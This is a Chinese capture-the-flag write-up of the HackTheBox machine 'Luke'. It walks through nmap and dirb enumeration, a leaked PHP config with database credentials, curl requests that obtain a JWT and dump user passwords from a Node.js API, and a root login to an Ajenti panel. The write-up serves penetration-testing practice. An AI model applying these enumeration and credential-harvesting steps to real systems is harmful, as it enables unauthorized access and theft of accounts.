教你如何把HackTheBox里面的Luke“干掉”
与往常一样，第一步是对主机进行Nmap识别正在运行的服务：
Nmap scan report for 10.10.10.137
Host is up (0.042s latency).
Not shown: 65464 closed ports, 66 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3+ (ext.1)
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 0 0 512 Apr 14 12:35 webapp
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.13.75
| Logged in as ftp
| TYPE: ASCII
| No session upload bandwidth limit
| No session download bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3+ (ext.1) - secure, fast, stable
|_End of status
22/tcp open ssh?
80/tcp open http Apache httpd 2.4.38 ((FreeBSD) PHP/7.3.3)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.38 (FreeBSD) PHP/7.3.3
|_http-title: Luke
3000/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
8000/tcp open http Ajenti http control panel
|_http-title: Ajenti
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.70%E=4%D=8/13%OT=21%CT=1%CU=33830%PV=Y%DS=2%DC=T%G=Y%TM=5D52853
OS:5%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=10D%TI=Z%CI=Z%II=RI%TS=21)O
OS:PS(O1=M54DNW6ST11%O2=M54DNW6ST11%O3=M54DNW6NNT11%O4=M54DNW6ST11%O5=M54DN
OS:W6ST11%O6=M54DST11)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FFFF)E
OS:CN(R=Y%DF=Y%T=40%W=FFFF%O=M54DNW6SLL%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F
OS:=AS%RD=0%Q=)T2(R=N)T3(R=Y%DF=Y%T=40%W=FFFF%S=O%A=S+%F=AS%O=M54DNW6ST11%R
OS:D=0%Q=)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%
OS:S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(
OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0
OS:%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=S%T=40%CD=S)
Network Distance: 2 hops
TRACEROUTE (using port 587/tcp)
HOP RTT ADDRESS
1 40.68 ms 10.10.12.1
2 40.94 ms 10.10.10.137
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 4814.02 seconds
从该输出中我们可以看到有很多开放的端口。我看到的第一个是FTP，因为它允许匿名登录。
root@kali:~/Documents/luke# ncftp 10.10.10.137
NcFTP 3.2.5 (Feb 02, 2011) by Mike Gleason (http://www.NcFTP.com/contact/).
Connecting to 10.10.10.137...
vsFTPd 3.0.3+ (ext.1) ready...
Logging in...
Login successful.
Logged in to 10.10.10.137.
ncftp / > ls
webapp/
ncftp / > cd webapp/
Directory successfully changed.
ncftp /webapp > ls
for_Chihiro.txt
ncftp /webapp > cat for_Chihiro.txt
Dear Chihiro !!
As you told me that you wanted to learn Web Development and Frontend, I can give you a little push by showing the sources of
the actual website I've created .
Normally you should know where to look but hurry up because I will delete them soon because of our security policies !
Derry
ncftp /webapp >
如您所见，通过FTP托管了一个文件。这是给千寻人的txt文件。这似乎是FTP上所有可用的东西。接下来，我决定移至端口80。浏览至10.10.10.137以查看托管的内容。
向我介绍了基本的Bootstrap 4页。源代码中没有隐藏任何内容，页面外也没有链接。然后，我运行dirb来查找服务器上托管的其他目录和文件。
root@kali:~/Documents/luke# dirb http://10.10.10.137
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Tue Aug 13 08:45:35 2019
URL_BASE: http://10.10.10.137/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.137/ ----
==> DIRECTORY: http://10.10.10.137/css/
+ http://10.10.10.137/index.html (CODE:200|SIZE:3138)
==> DIRECTORY: http://10.10.10.137/js/
+ http://10.10.10.137/LICENSE (CODE:200|SIZE:1093)
+ http://10.10.10.137/management (CODE:401|SIZE:381)
==> DIRECTORY: http://10.10.10.137/member/
==> DIRECTORY: http://10.10.10.137/vendor/
---- Entering directory: http://10.10.10.137/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.10.10.137/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.10.10.137/member/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://10.10.10.137/vendor/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
-----------------
END_TIME: Tue Aug 13 09:02:59 2019
DOWNLOADED: 4612 - FOUND: 3
发现了目录的集合。我还使用dirbuster重新扫描并找到了/login.php和config.php。由于某种原因而被dirb抢走了。
当我浏览到config.php时，将返回以下内容：
$dbHost = 'localhost'; $dbUsername = 'root'; $dbPassword = 'Zk6heYCyv6ZE9Xcg'; $db = "login"; $conn = new mysqli($dbHost, $dbUsername, $dbPassword,$db) or die("Connect failed: %s\n". $conn -> error);
现在，我们有了一个用户名和密码的根：Zk6heYCyv6ZE9Xcg。/管理是发现的其他重要外观之一。当您浏览至此时，将显示HTTP基本身份验证字段。目前在端口80上似乎没有其他任何东西。因此，我随后移至端口3000。
当您尝试连接到它时，您会收到JSON响应：大约3000似乎是托管NodeJS应用的主机。
{
"success":false,"message":"Auth token is not supplied"}
我在端口3000上运行dirb尝试查找其他内容。
DirBuster 1.0-RC1 - Report
http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project
Report produced on Tue Aug 13 11:36:44 BST 2019
--------------------------------
http://10.10.10.137:3000
--------------------------------
Directories found during testing:
Dirs found with a 200 response:
/login/
/users/
/
/Login/
/users/admin/
/Users/
/Users/admin/
/users/Admin/
/Users/Admin/
/LogIn/
/LOGIN/
--------------------------------
--------------------------------
所有这些目录返回的JSON响应与原始目录非常相似，表明您需要进行身份验证。通过一番调查，我发现该应用程序正在使用JSON Web令牌。通过向身份验证服务器发送包含正确的用户名和密码的请求。服务器将使用令牌进行响应，然后可以使用令牌对应用程序进行身份验证。经过大量的试验和错误后，我可以使用以下串行生成令牌请求：
root@kali:/# curl -s -X POST -H 'Accept: application/json' -H 'Content-Type: application/json' --data '{"username":"admin","password":"Zk6heYCyv6ZE9Xcg","rememberMe":false}' http://10.10.10.137:3000/login
{
"success":true,"message":"Authentication successful!","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTY1Nzc5NTg4LCJleHAiOjE1NjU4NjU5ODh9.pwVbukEZa90WsYzVOovh6GUer7wbHG1mNti9E9ajDJM"}root@kali:/#
如您所见，我使用CURL将POST请求发送到http://10.10.10.137:3000/login。POST请求中包含在端口80上找到的用户名和密码。服务器以令牌密码响应。然后，我使用curl将令牌转发给应用程序。
root@kali:/# curl -H 'Accept: application/json' -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTY1Nzc5NTg4LCJleHAiOjE1NjU4NjU5ODh9.pwVbukEZa90WsYzVOovh6GUer7wbHG1mNti9E9ajDJM" http://10.10.10.137:3000
{
"message":"Welcome admin ! "}
root@kali:/#
发送后，服务器将显示消息“欢迎管理员！”。然后，我将同一令牌发送到与dirb找到的端口3000上的其他目录。
root@kali:/# curl -H 'Accept: application/json' -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTY1Nzc5NTg4LCJleHAiOjE1NjU4NjU5ODh9.pwVbukEZa90WsYzVOovh6GUer7wbHG1mNti9E9ajDJM" http://10.10.10.137:3000/users
[{
"ID":"1","name":"Admin","Role":"Superuser"},{
"ID":"2","name":"Derry","Role":"Web Admin"},{
"ID":"3","name":"Yuri","Role":"Beta Tester"},{
"ID":"4","name":"Dory","Role":"Supporter"}]
root@kali:/#
root@kali:/# curl -H 'Accept: application/json' -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTY1Nzc5NTg4LCJleHAiOjE1NjU4NjU5ODh9.pwVbukEZa90WsYzVOovh6GUer7wbHG1mNti9E9ajDJM" http://10.10.10.137:3000/users/admin
{
"name":"Admin","password":"WX5b7)>/rp$U)FW"}
您可以看到/ users目录响应了一个用户名。管理员，德里，尤里和多莉。/users / admin目录以Admin的用户名和密码作为响应。管理员：WX5b7）> / rp $ U） FW。然后，我将令牌发送给/ users中的3个用户。
root@kali:~/Documents/luke# curl -H 'Accept: application/json' -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTY1Nzc5NTg4LCJleHAiOjE1NjU4NjU5ODh9.pwVbukEZa90WsYzVOovh6GUer7wbHG1mNti9E9ajDJM" http://10.10.10.137:3000/users/derry
{
"name":"Derry","password":"rZ86wwLvx7jUxtch"}
root@kali:~/Documents/luke# curl -H 'Accept: application/json' -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTY1Nzc5NTg4LCJleHAiOjE1NjU4NjU5ODh9.pwVbukEZa90WsYzVOovh6GUer7wbHG1mNti9E9ajDJM" http://10.10.10.137:3000/users/yuri
{
"name":"Yuri","password":"bet@tester87"}
root@kali:~/Documents/luke# curl -H 'Accept: application/json' -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTY1Nzc5NTg4LCJleHAiOjE1NjU4NjU5ODh9.pwVbukEZa90WsYzVOovh6GUer7wbHG1mNti9E9ajDJM" http://10.10.10.137:3000/users/dory
{
"name":"Dory","password":"5y:!xa=ybfe)/QD"}
所以毕竟，我有5套凭证
- Dory：5y：！xa = ybfe）/ QD
- Yuri：bet @ tester87
- Derry：rZ86wwLvx7jUxtch
- Admin：WX5b7）> / rp $ U）FW
- root：Zk6heYCyv6ZE9Xcg
我回到端口80上的/管理，依次尝试了每个时间表。Derry用户能够登录。从这里，我们有一个目录，列出了3个不同的文件。Config.json，config.php和login.php 。我打开config.json并显示以下内容：
您可以从此JSON输出中看到，我们现在有了另一个root用户密码。然后，我继续探索8000端口。
这是用于管理服务器的软件。我尝试使用前面的步骤中捕获的6组替换登录。来自config.json的root登录名允许我登录到该页面。
然后在计算机上生成Web浏览器终端会话。有了该终端的访问权限，我便可以将user.txt和root.txt都保存起来以完成计算机。
# cd /root # ls .cache .cshrc .k5login .mysql_history .npm .wget-hsts .config .history .login .node_repl_history .profile root.txt # cat root.txt [REDACTED] # cd /home/ /home/derry # cd /home/derry /home/derry # cd /home/derry # ls .cshrc .login .login_conf .mail_aliases .mailrc .profile .shrc user.txt # cat user.txt [REDACTED] #
关注：Hunter网络安全 获取更多资讯
网站：bbs.kylzrv.com
CTF团队：Hunter网络安全
文章：Xtrato
排版：Hunter-匿名者